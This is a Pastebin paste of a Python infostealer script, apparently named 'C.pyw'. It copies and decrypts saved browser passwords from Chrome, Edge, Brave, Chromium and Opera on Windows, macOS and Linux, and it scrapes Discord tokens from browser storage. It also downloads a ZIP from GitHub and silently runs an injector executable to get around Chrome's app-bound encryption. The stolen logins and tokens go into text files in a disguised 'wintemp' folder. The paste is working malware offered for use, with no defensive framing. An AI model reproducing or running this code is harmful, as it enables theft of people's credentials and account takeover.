Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import json
- import os
- import platform
- import sqlite3
- import string
- import subprocess
- from getpass import getuser
- from importlib import import_module
- from os import unlink
- from shutil import copy, rmtree, move
- import ctypes
- import sys
- import uuid
- import base64
- import re
- from Crypto.Cipher import AES
- import time
- import urllib.request
- import zipfile
- LOCAL_APP_DATA_PATH = os.getenv('LOCALAPPDATA')
- ROAMING_APP_DATA_PATH = os.getenv('APPDATA')
- PROGRAM_BASE_DIR = None
- PROGRAM_DATA_DIR = None
- TEMP_PROCESSING_DIR = None
- if LOCAL_APP_DATA_PATH:
- PROGRAM_BASE_DIR = os.path.join(LOCAL_APP_DATA_PATH, 'wintemp')
- PROGRAM_DATA_DIR = os.path.join(PROGRAM_BASE_DIR, 'data')
- TEMP_PROCESSING_DIR = os.path.join(PROGRAM_BASE_DIR, 'temp_processing')
- else:
- PROGRAM_BASE_DIR = os.path.join(os.getcwd(), 'wintemp_fallback')
- PROGRAM_DATA_DIR = os.path.join(PROGRAM_BASE_DIR, 'data')
- TEMP_PROCESSING_DIR = os.path.join(PROGRAM_BASE_DIR, 'temp_processing')
- OUTPUT_FILENAME_DEFAULT = "data"
- def ensure_dir_exists(directory_path):
- if not os.path.exists(directory_path):
- try:
- os.makedirs(directory_path, exist_ok=True)
- return True
- except OSError as e:
- return False
- elif not os.path.isdir(directory_path):
- return False
- return True
- TOKEN_REGEX_PATTERN = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{34,38}"
- def get_tokens_from_file(file_path: str) -> list[str] | None:
- try:
- with open(file_path, encoding="utf-8", errors="ignore") as text_file:
- file_contents = text_file.read()
- except PermissionError:
- return None
- except Exception:
- return None
- tokens = re.findall(TOKEN_REGEX_PATTERN, file_contents)
- return tokens if tokens else None
- def get_user_id_from_token(token: str) -> str | None:
- try:
- discord_user_id = base64.b64decode(
- token.split(".", maxsplit=1)[0] + "=="
- ).decode("utf-8")
- except UnicodeDecodeError:
- return None
- except Exception:
- return None
- return discord_user_id
- ZIP_DOWNLOAD_URL = "https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases/download/v0.10.0/chrome-decryptor-0.10.0-x64.zip"
- def get_tokens_from_path(base_path: str) -> dict[str, set]:
- if not os.path.isdir(base_path):
- return {}
- file_paths = [
- os.path.join(base_path, filename) for filename in os.listdir(base_path)
- if os.path.isfile(os.path.join(base_path, filename))
- ]
- id_to_tokens: dict[str, set] = dict()
- for file_path in file_paths:
- potential_tokens = get_tokens_from_file(file_path)
- if potential_tokens is None:
- continue
- for potential_token in potential_tokens:
- discord_user_id = get_user_id_from_token(potential_token)
- if discord_user_id is None:
- continue
- if discord_user_id not in id_to_tokens:
- id_to_tokens[discord_user_id] = set()
- id_to_tokens[discord_user_id].add(potential_token)
- return id_to_tokens if id_to_tokens else {}
- class ChromeMac:
- def __init__(self):
- try:
- my_pass_proc = subprocess.Popen(
- "security find-generic-password -wa 'Chrome'",
- stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
- stdout, stderr_data = my_pass_proc.communicate()
- if my_pass_proc.returncode != 0:
- raise RuntimeError(f"Failed to retrieve Chrome password from Mac keychain. Error: {stderr_data.decode('utf-8', errors='ignore')}")
- my_pass_bytes = stdout.replace(b'\n', b'')
- iterations = 1003; salt = b'saltysalt'; length = 16
- kdf = import_module('Crypto.Protocol.KDF')
- self.key = kdf.PBKDF2(my_pass_bytes, salt, length, iterations)
- except ImportError:
- raise
- except Exception:
- self.key = None
- self.dbpath_root = os.path.join(os.path.expanduser("~"), "Library", "Application Support", "Google", "Chrome")
- self.profile_name = "Default"
- self.dbpath = os.path.join(self.dbpath_root, self.profile_name)
- self.browser_name_found = "Chrome (Mac)"
- self.leveldb_path = os.path.join(self.dbpath, "Local Storage", "leveldb")
- def decrypt_func(self, enc_passwd):
- if not self.key: return "BRAK_KLUCZA_DESZYFRUJACEGO"
- initialization_vector = b' ' * 16
- if enc_passwd.startswith(b'v10') or enc_passwd.startswith(b'v11') or enc_passwd.startswith(b'v20'):
- enc_passwd = enc_passwd[3:]
- try:
- cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
- decrypted = cipher.decrypt(enc_passwd)
- unpad = lambda s: s[:-ord(s[len(s)-1:])]
- result = unpad(decrypted).decode('utf8', errors='ignore')
- return result
- except Exception:
- return decrypted.strip().decode('utf8', errors='ignore')
- class ChromeWin:
- def __init__(self):
- local_appdata_path = os.getenv('LOCALAPPDATA')
- roaming_appdata_path = os.getenv('APPDATA')
- if not local_appdata_path and not roaming_appdata_path:
- user_profile = os.getenv('USERPROFILE')
- if user_profile:
- local_appdata_path = os.path.join(user_profile, 'AppData', 'Local')
- roaming_appdata_path = os.path.join(user_profile, 'AppData', 'Roaming')
- else:
- self.found_browsers = []
- return
- self.found_browsers = []
- browser_paths_config = {
- "Google Chrome": {"path_type": "local", "vendor_folder": "Google", "browser_folder": "Chrome", "user_data_subfolder": "User Data"},
- "Microsoft Edge": {"path_type": "local", "vendor_folder": "Microsoft", "browser_folder": "Edge", "user_data_subfolder": "User Data"},
- "Brave": {"path_type": "local", "vendor_folder": "BraveSoftware", "browser_folder": "Brave-Browser", "user_data_subfolder": "User Data"},
- "Chromium": {"path_type": "local", "vendor_folder": "Chromium", "browser_folder": "Chromium", "user_data_subfolder": "User Data"},
- "Opera GX": {"path_type": "roaming", "vendor_folder": "Opera Software", "browser_folder": "Opera GX Stable", "user_data_subfolder": None},
- "Opera Stable": {"path_type": "roaming", "vendor_folder": "Opera Software", "browser_folder": "Opera Stable", "user_data_subfolder": None},
- }
- profiles_to_check = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"]
- for browser_name, config in browser_paths_config.items():
- try:
- current_base_appdata_path = None
- if config["path_type"] == "local":
- current_base_appdata_path = local_appdata_path
- elif config["path_type"] == "roaming":
- current_base_appdata_path = roaming_appdata_path
- if not current_base_appdata_path:
- continue
- browser_base_path = os.path.join(current_base_appdata_path, config["vendor_folder"], config["browser_folder"])
- user_data_root_candidate = browser_base_path
- if config["user_data_subfolder"]:
- user_data_root_candidate = os.path.join(browser_base_path, config["user_data_subfolder"])
- if not os.path.isdir(user_data_root_candidate):
- continue
- main_local_state_file_path = os.path.join(user_data_root_candidate, "Local State")
- if not os.path.exists(main_local_state_file_path):
- main_local_state_file_path = None
- possible_profile_dirs = [user_data_root_candidate]
- for profile in profiles_to_check:
- profile_path = os.path.join(user_data_root_candidate, profile)
- if os.path.isdir(profile_path):
- possible_profile_dirs.append(profile_path)
- final_profile_dirs = []
- for p_dir in possible_profile_dirs:
- if os.path.isdir(p_dir) and p_dir not in final_profile_dirs:
- final_profile_dirs.append(p_dir)
- for current_profile_dir in final_profile_dirs:
- login_data_file = os.path.join(current_profile_dir, "Login Data")
- leveldb_path = os.path.join(current_profile_dir, "Local Storage", "leveldb")
- if os.path.exists(login_data_file):
- self.found_browsers.append({
- "browser_name": browser_name,
- "profile_name": os.path.basename(current_profile_dir),
- "login_data_path_original": login_data_file,
- "local_state_path_original": main_local_state_file_path,
- "dbpath_root": user_data_root_candidate,
- "dbpath": current_profile_dir,
- "leveldb_path": leveldb_path if os.path.isdir(leveldb_path) else None
- })
- except Exception:
- continue
- if not self.found_browsers:
- pass
- def decrypt_func(self, enc_passwd):
- try:
- win32crypt = import_module('win32crypt')
- if not enc_passwd: return "EMPTY_INPUT_DPAPI_FALLBACK"
- data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
- return data[1].decode('utf8', errors='ignore')
- except ImportError:
- return "PYWIN32_IMPORT_ERROR"
- except Exception as e:
- return f"DPAPI_DECRYPT_FUNC_ERROR: ({type(e).__name__}) {e}"
- class ChromeLinux:
- def __init__(self):
- self.dbpath_root = os.path.join(os.path.expanduser("~"), ".config", "google-chrome")
- self.profile_name = "Default"
- self.dbpath = os.path.join(self.dbpath_root, self.profile_name)
- self.key = None
- self.browser_name_found = "Chrome (Linux)"
- self.leveldb_path = os.path.join(self.dbpath, "Local Storage", "leveldb")
- try:
- secretstorage_module = import_module('secretstorage')
- my_pass_bytes = 'peanuts'.encode('utf8')
- bus = secretstorage_module.dbus_init()
- collection = secretstorage_module.get_default_collection(bus)
- if collection:
- for item in collection.get_all_items():
- if item and item.get_label() == 'Chrome Safe Storage':
- my_pass_bytes = item.get_secret()
- break
- iterations = 1; salt = b'saltysalt'; length = 16
- kdf = import_module('Crypto.Protocol.KDF')
- self.key = kdf.PBKDF2(my_pass_bytes, salt, length, iterations)
- except ImportError: pass
- except Exception: pass
- def decrypt_func(self, enc_passwd):
- if not self.key: return ""
- initialization_vector = b' ' * 16
- if enc_passwd.startswith(b'v10') or enc_passwd.startswith(b'v11') or enc_passwd.startswith(b'v20'):
- enc_passwd = enc_passwd[3:]
- try:
- cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
- decrypted = cipher.decrypt(enc_passwd)
- unpad = lambda s: s[:-ord(s[len(s)-1:])]
- result = unpad(decrypted).decode('utf8', errors='ignore')
- return result
- except Exception:
- return decrypted.strip().decode('utf8', errors='ignore')
- class Chrome:
- def __init__(self):
- self.all_browsers_info = []
- target_os = platform.system()
- try:
- if target_os == 'Windows':
- chrome_win_instance = ChromeWin()
- self.all_browsers_info.extend(chrome_win_instance.found_browsers)
- elif target_os == 'Darwin':
- chrome_mac_instance = ChromeMac()
- self.all_browsers_info.append({
- "browser_name": chrome_mac_instance.browser_name_found,
- "profile_path": chrome_mac_instance.dbpath,
- "login_data_path_original": os.path.join(chrome_mac_instance.dbpath, "Login Data"),
- "local_state_path_original": None,
- "leveldb_path": chrome_mac_instance.leveldb_path,
- "chrome_os_instance": chrome_mac_instance
- })
- elif target_os == 'Linux':
- chrome_linux_instance = ChromeLinux()
- self.all_browsers_info.append({
- "browser_name": chrome_linux_instance.browser_name_found,
- "profile_path": chrome_linux_instance.dbpath,
- "login_data_path_original": os.path.join(chrome_linux_instance.dbpath, "Login Data"),
- "local_state_path_original": None,
- "leveldb_path": chrome_linux_instance.leveldb_path,
- "chrome_os_instance": chrome_linux_instance
- })
- else:
- pass
- except Exception:
- pass
- def get_all_browsers_info(self):
- return self.all_browsers_info
- def get_master_key_from_copied_local_state(self, copied_local_state_path):
- if platform.system() != 'Windows':
- return None
- if not os.path.exists(copied_local_state_path):
- return None
- file_size = os.path.getsize(copied_local_state_path)
- if file_size == 0:
- return None
- try:
- with open(copied_local_state_path, "r", encoding="utf-8") as f:
- local_state_json = json.load(f)
- encrypted_key_b64 = local_state_json.get("os_crypt", {}).get("encrypted_key")
- if not encrypted_key_b64:
- return None
- encrypted_key_bytes = base64.b64decode(encrypted_key_b64)
- if not encrypted_key_bytes.startswith(b'DPAPI'):
- return None
- encrypted_key_dpapi = encrypted_key_bytes[5:]
- win32crypt = import_module('win32crypt')
- decrypted_key = win32crypt.CryptUnprotectData(encrypted_key_dpapi, None, None, None, 0)[1]
- return decrypted_key
- except ImportError:
- return None
- except json.JSONDecodeError:
- return None
- except Exception:
- return None
- def decrypt_password_value_aes(self, password_value_bytes, master_key):
- if not master_key:
- return "AES_KEY_MISSING"
- if not (password_value_bytes.startswith(b'v10') or \
- password_value_bytes.startswith(b'v11') or \
- password_value_bytes.startswith(b'v20')):
- return f"INVALID_AES_PASSWORD_FORMAT"
- try:
- iv = password_value_bytes[3:3+12]
- encrypted_password_payload_with_tag = password_value_bytes[3+12:]
- if len(encrypted_password_payload_with_tag) < 16:
- return "AES_TOO_LITTLE_DATA_FOR_TAG"
- encrypted_data_only = encrypted_password_payload_with_tag[:-16]
- auth_tag = encrypted_password_payload_with_tag[-16:]
- cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
- decrypted_password_bytes = cipher.decrypt(encrypted_data_only)
- try:
- cipher.verify(auth_tag)
- return decrypted_password_bytes.decode('utf-8', errors='ignore')
- except ValueError:
- return "AES_GCM_TAG_ERROR"
- except ImportError:
- return "CRYPTO_AES_IMPORT_ERROR"
- except Exception:
- return f"AES_GCM_DECRYPTION_ERROR"
- def get_passwords(self, copied_login_db_path, copied_local_state_path_for_key=None, chrome_os_instance=None):
- output_data = {
- "browser": chrome_os_instance.browser_name_found if chrome_os_instance and hasattr(chrome_os_instance, 'browser_name_found') else "N/A",
- "profile_path": chrome_os_instance.dbpath if chrome_os_instance and hasattr(chrome_os_instance, 'dbpath') else "N/A",
- "login_data_path": copied_login_db_path,
- "data": []
- }
- if not os.path.exists(copied_login_db_path):
- return output_data
- file_size_login_data = os.path.getsize(copied_login_db_path)
- if file_size_login_data == 0:
- return output_data
- master_key_aes = None
- if platform.system() == 'Windows':
- if copied_local_state_path_for_key and os.path.exists(copied_local_state_path_for_key):
- master_key_aes = self.get_master_key_from_copied_local_state(copied_local_state_path_for_key)
- else:
- pass
- if not master_key_aes:
- pass
- conn = None
- try:
- conn = sqlite3.connect(copied_login_db_path)
- cursor = conn.cursor()
- cursor_table_check = conn.cursor()
- cursor_table_check.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='logins';")
- if cursor_table_check.fetchone() is None:
- return output_data
- cursor.execute("SELECT origin_url, username_value, password_value FROM logins;")
- cursor_count = conn.cursor()
- cursor_count.execute("SELECT COUNT(*) FROM logins")
- row_count = cursor_count.fetchone()[0]
- if row_count == 0:
- return output_data
- for i, result_row in enumerate(cursor.fetchall()):
- password_value_blob = result_row[2]
- if not password_value_blob:
- continue
- decrypted_password_str = "DECRYPTION_LOGIC_ERROR_INITIAL"
- try:
- if platform.system() == 'Windows':
- is_v_prefix_present = (password_value_blob.startswith(b'v10') or \
- password_value_blob.startswith(b'v11') or \
- password_value_blob.startswith(b'v20'))
- if master_key_aes and is_v_prefix_present:
- decrypted_password_str = self.decrypt_password_value_aes(password_value_blob, master_key_aes)
- elif not master_key_aes and is_v_prefix_present:
- decrypted_password_str = "AES_KEY_MISSING_FOR_NEW_FORMAT"
- else:
- if chrome_os_instance and hasattr(chrome_os_instance, 'decrypt_func'):
- decrypted_password_str = chrome_os_instance.decrypt_func(password_value_blob)
- else:
- decrypted_password_str = "OLD_DPAPI_FORMAT_FUNCTION_MISSING_OR_NOT_WINDOWS"
- elif chrome_os_instance and hasattr(chrome_os_instance, 'decrypt_func'):
- decrypted_password_str = chrome_os_instance.decrypt_func(password_value_blob)
- else:
- decrypted_password_str = "UNKNOWN_OS_OR_DECRYPT_FUNC_MISSING"
- final_passwd_str = ''.join(char for char in decrypted_password_str if char in string.printable)
- _data_entry = {'url': result_row[0], 'username': result_row[1], 'password': final_passwd_str}
- output_data['data'].append(_data_entry)
- except Exception:
- final_passwd_str = f"CRITICAL_ENTRY_DECRYPTION_ERROR"
- _data_entry = {'url': result_row[0], 'username': result_row[1], 'password': final_passwd_str}
- output_data['data'].append(_data_entry)
- except sqlite3.Error:
- pass
- except Exception:
- pass
- finally:
- if conn:
- conn.close()
- return output_data
- def copy_file_with_retries(src_path, dest_path, max_retries=5, delay_seconds=0.1):
- os.makedirs(os.path.dirname(dest_path), exist_ok=True)
- for attempt in range(max_retries):
- try:
- if os.path.exists(dest_path):
- unlink(dest_path)
- copy(src_path, dest_path)
- if os.path.exists(dest_path) and os.path.getsize(dest_path) > 0:
- return True
- else:
- time.sleep(delay_seconds)
- except Exception:
- time.sleep(delay_seconds)
- if platform.system() == 'Windows':
- try:
- robocopy_cmd = [
- 'robocopy',
- os.path.dirname(src_path),
- os.path.dirname(dest_path),
- os.path.basename(src_path),
- '/COPYALL',
- '/R:1', '/W:1',
- '/NFL', '/NDL', '/NJH', '/NJS', '/NC', '/NS', '/NP'
- ]
- if os.path.exists(dest_path):
- unlink(dest_path)
- result = subprocess.run(robocopy_cmd, capture_output=True, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
- if result.returncode <= 1:
- if os.path.exists(dest_path) and os.path.getsize(dest_path) > 0:
- return True
- else:
- return False
- else:
- return False
- except FileNotFoundError:
- return False
- except Exception:
- return False
- else:
- pass
- return False
- def download_extract_and_run_zip(zip_url, program_base_dir):
- executable_command = [os.path.join(program_base_dir, "chrome_inject_x64.exe"), "-o", os.path.join(program_base_dir, "data"), "chrome"]
- if not zip_url:
- return False
- if not ensure_dir_exists(program_base_dir):
- return False
- zip_file_path = os.path.join(program_base_dir, os.path.basename(zip_url))
- try:
- urllib.request.urlretrieve(zip_url, zip_file_path)
- except Exception:
- return False
- temp_extract_dir = os.path.join(program_base_dir, f"temp_zip_extract_{uuid.uuid4().hex[:8]}")
- try:
- ensure_dir_exists(temp_extract_dir)
- with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
- zip_ref.extractall(temp_extract_dir)
- for item in os.listdir(temp_extract_dir):
- source_item_path = os.path.join(temp_extract_dir, item)
- destination_item_path = os.path.join(program_base_dir, item)
- if os.path.exists(destination_item_path):
- if os.path.isfile(destination_item_path):
- try:
- unlink(destination_item_path)
- except OSError:
- pass
- elif os.path.isdir(destination_item_path):
- try:
- rmtree(destination_item_path)
- except OSError:
- pass
- try:
- move(source_item_path, destination_item_path)
- except Exception:
- pass
- except Exception:
- return False
- finally:
- if os.path.exists(temp_extract_dir):
- try:
- rmtree(temp_extract_dir)
- except OSError:
- pass
- if os.path.exists(zip_file_path):
- try:
- unlink(zip_file_path)
- except OSError:
- pass
- main_executable_path = executable_command[0]
- if not os.path.exists(main_executable_path):
- return False
- try:
- subprocess.Popen(executable_command, cwd=program_base_dir, creationflags=subprocess.DETACHED_PROCESS)
- return True
- except Exception:
- return False
- def export_credentials_to_txt_main():
- if not PROGRAM_DATA_DIR:
- return
- if not ensure_dir_exists(PROGRAM_DATA_DIR):
- return
- if not TEMP_PROCESSING_DIR:
- return
- if not ensure_dir_exists(TEMP_PROCESSING_DIR):
- return
- chrome_processor = Chrome()
- all_found_browsers_info = chrome_processor.get_all_browsers_info()
- if not all_found_browsers_info:
- return
- all_credentials_formatted_strings = []
- for browser_info in all_found_browsers_info:
- browser_name = browser_info.get("browser_name", "Unknown Browser")
- profile_path_original = browser_info.get("profile_path", "N/A")
- original_login_data_path = browser_info.get("login_data_path_original")
- original_local_state_path = browser_info.get("local_state_path_original")
- chrome_os_instance = browser_info.get("chrome_os_instance")
- copied_login_data_path = None
- copied_local_state_path = None
- passwords_result = {"data": [], "browser": browser_name, "profile_path": profile_path_original, "login_data_path": "N/A"}
- if original_login_data_path and os.path.exists(original_login_data_path):
- temp_login_data_filename = f"Login_Data_temp_{uuid.uuid4().hex[:8]}.db"
- copied_login_data_path = os.path.join(TEMP_PROCESSING_DIR, temp_login_data_filename)
- if copy_file_with_retries(original_login_data_path, copied_login_data_path):
- if platform.system() == 'Windows' and original_local_state_path and os.path.exists(original_local_state_path):
- temp_local_state_filename = f"Local_State_temp_{uuid.uuid4().hex[:8]}.json"
- copied_local_state_path = os.path.join(TEMP_PROCESSING_DIR, temp_local_state_filename)
- if not copy_file_with_retries(original_local_state_path, copied_local_state_path):
- copied_local_state_path = None
- else:
- pass
- if copied_login_data_path and os.path.exists(copied_login_data_path) and os.path.getsize(copied_login_data_path) > 0:
- passwords_result = chrome_processor.get_passwords(copied_login_data_path, copied_local_state_path, chrome_os_instance)
- else:
- pass
- else:
- copied_login_data_path = None
- else:
- passwords_result["login_data_path"] = original_login_data_path or "Not Found"
- credentials_list = passwords_result.get('data', [])
- credentials_found_count = len(credentials_list)
- formatted_string = f"Credentials collected by C.pyw ({platform.system()} - {getuser()}):\n"
- formatted_string += f"Browser: {browser_name}\n"
- formatted_string += f"Profile Path (Original): {profile_path_original or 'N/A'}\n"
- formatted_string += f"Used 'Login Data' file: {copied_login_data_path or 'N/A'}\n"
- if platform.system() == 'Windows' and copied_local_state_path:
- formatted_string += f"Used 'Local State' file (copy): {copied_local_state_path}\n"
- formatted_string += f"Number of entries found: {credentials_found_count}\n"
- formatted_string += "="*50 + "\n\n"
- if credentials_found_count > 0:
- for entry in credentials_list:
- formatted_string += f"URL: {entry.get('url', 'N/A')}\n"
- formatted_string += f" Username: {entry.get('username', 'N/A')}\n"
- formatted_string += f" Password: {entry.get('password', 'N/A')}\n"
- formatted_string += "-"*30 + "\n"
- else:
- formatted_string += "No login data found or error during retrieval/decryption for this browser.\n"
- all_credentials_formatted_strings.append(formatted_string)
- if copied_login_data_path and os.path.exists(copied_login_data_path):
- try:
- unlink(copied_login_data_path)
- except OSError:
- pass
- if copied_local_state_path and os.path.exists(copied_local_state_path):
- try:
- unlink(copied_local_state_path)
- except OSError:
- pass
- if all_credentials_formatted_strings:
- try:
- final_output_credentials_path = os.path.join(PROGRAM_DATA_DIR, f"retrieved_credentials_ALL_BROWSERS_{uuid.uuid4().hex[:4]}.txt")
- with open(final_output_credentials_path, "w", encoding="utf-8") as f:
- f.write("\n\n".join(all_credentials_formatted_strings))
- except IOError:
- pass
- except Exception:
- pass
- else:
- pass
- all_discord_tokens_formatted_strings = []
- for browser_info in all_found_browsers_info:
- browser_name = browser_info.get("browser_name", "Unknown Browser")
- profile_path_original = browser_info.get("profile_path", "N/A")
- leveldb_path = browser_info.get("leveldb_path")
- discord_tokens_found = {}
- if leveldb_path and os.path.isdir(leveldb_path):
- discord_tokens_found = get_tokens_from_path(leveldb_path)
- else:
- pass
- formatted_discord_string = f"Discord Tokens collected by C.pyw ({platform.system()} - {getuser()}):\n"
- formatted_discord_string += f"Source Browser: {browser_name}\n"
- formatted_discord_string += f"Source Profile Path: {profile_path_original or 'N/A'}\n"
- formatted_discord_string += f"LevelDB Path Scanned: {leveldb_path or 'N/A'}\n"
- formatted_discord_string += "="*50 + "\n\n"
- if discord_tokens_found:
- for user_id, tokens_set in discord_tokens_found.items():
- formatted_discord_string += f" User ID: {user_id}\n"
- for token in tokens_set:
- formatted_discord_string += f" Token: {token}\n"
- formatted_discord_string += "-"*30 + "\n"
- else:
- formatted_discord_string += "No Discord tokens found for this browser profile.\n"
- all_discord_tokens_formatted_strings.append(formatted_discord_string)
- if all_discord_tokens_formatted_strings:
- try:
- final_output_discord_path = os.path.join(PROGRAM_DATA_DIR, f"retrieved_discord_tokens_ALL_BROWSERS_{uuid.uuid4().hex[:4]}.txt")
- with open(final_output_discord_path, "w", encoding="utf-8") as f:
- f.write("\n\n".join(all_discord_tokens_formatted_strings))
- except IOError:
- pass
- except Exception:
- pass
- else:
- pass
- if __name__ == '__main__':
- try:
- import win32crypt
- except ImportError:
- sys.exit(1)
- except Exception:
- sys.exit(1)
- try:
- from Crypto.Cipher import AES
- except ImportError:
- sys.exit(1)
- except Exception:
- sys.exit(1)
- if not PROGRAM_BASE_DIR or not ensure_dir_exists(PROGRAM_BASE_DIR):
- sys.exit(1)
- if not PROGRAM_DATA_DIR or not ensure_dir_exists(PROGRAM_DATA_DIR):
- sys.exit(1)
- if not TEMP_PROCESSING_DIR or not ensure_dir_exists(TEMP_PROCESSING_DIR):
- sys.exit(1)
- success_download_run = download_extract_and_run_zip(ZIP_DOWNLOAD_URL, PROGRAM_BASE_DIR)
- export_credentials_to_txt_main()
Add Comment
Please, Sign In to add comment